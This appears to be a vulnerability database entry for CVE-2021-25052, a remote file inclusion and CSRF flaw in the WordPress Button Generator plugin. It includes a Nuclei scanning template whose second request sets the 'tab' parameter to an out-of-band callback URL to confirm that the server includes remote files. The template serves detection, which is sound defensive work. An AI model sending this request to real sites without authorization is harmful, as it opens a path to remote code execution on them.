SecurityContext

CVE-2021-25052: WordPress Button Generator <2.3.3 - Remote File Inclusion

Classification

  • Cwe: CWE-352
  • Cvss score: 8.8
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
  • Epss score: 0.03032
  • Epss percentile: 0.87832
  • Cpe: cpe:2.3:a:wow-company:button_generator:*:*:*:*:*:wordpress:*:*

Metadata

  • Framework: wordpress
  • Max-request: 2
  • Product: button_generator
  • Vendor: wow-company

Products

ProductIndexedUrl
wow-company:button_generatoryes/v1/products/wow-company/button_generator

Labels

  • Name: WordPress Button Generator - File Inclusion & Remote Code Execution
  • Impact: Attackers can execute arbitrary PHP code remotely and perform CSRF attacks, potentially compromising the server and user data.
  • Remediation: Update to version 2.3.3 or later.
  • Vulnerability type: file_inclusion
  • Vulnerability impact: remote_code_execution, cross_site_request_forgery
  • Requirement type: user_interaction
  • Requirements: Attacker needs to craft malicious requests
  • Labels source: projectdiscovery
  • From cve: CVE-2021-25052

```yaml

id: CVE-2021-25052

info:

name: WordPress Button Generator <2.3.3 - Remote File Inclusion

author: cckuailong

severity: high

description: WordPress Button Generator before 2.3.3 within the wow-company admin menu page allows arbitrary file inclusion with PHP extensions (as well as with data:// or http:// protocols), thus leading to cross-site request forgery and remote code execution.

impact: |

An attacker can exploit this vulnerability to execute arbitrary code on the target system.

remediation: |

Update to the latest version of the WordPress Button Generator plugin (2.3.3) to fix the remote file inclusion vulnerability.

reference:

- https://wpscan.com/vulnerability/a01844a0-0c43-4d96-b738-57fe5bfbd67a

- https://nvd.nist.gov/vuln/detail/CVE-2021-25052

- https://plugins.trac.wordpress.org/changeset/2641639/button-generation

- https://github.com/ARPSyndicate/cvemon

- https://github.com/ARPSyndicate/kenzer-templates

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

cvss-score: 8.8

cve-id: CVE-2021-25052

cwe-id: CWE-352

epss-score: 0.03032

epss-percentile: 0.87832

cpe: cpe:2.3:a:wow-company:button_generator:*:*:*:*:*:wordpress:*:*

metadata:

max-request: 2

vendor: wow-company

product: button_generator

framework: wordpress

tags: cve2021,cve,wp-plugin,authenticated,wpscan,rfi,wp,wordpress,wow-company,vuln

http:

- raw:

- |

POST /wp-login.php HTTP/1.1

Host: {{Hostname}}

Origin: {{RootURL}}

Content-Type: application/x-www-form-urlencoded

Cookie: wordpress_test_cookie=WP%20Cookie%20check

log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

- |

GET /wp-admin/admin.php?page=wow-company&tab=http://{{interactsh-url}}/ HTTP/1.1

Host: {{Hostname}}

matchers-condition: and

matchers:

- type: word

name: "http"

part: interactsh_protocol

words:

- "http"

- type: status

status:

- 200

digest: 490a0046304402204f5868ecf83dd8f2cb28cf9cb0dc5aa58fac767ba2f697467656c92ffbba1a5902203e03c6679cf77281775fc6b7e9de8036ebf5697af70211f6b6cee5c5ec313787:922c64590222798bb761d5b6d8e72950

```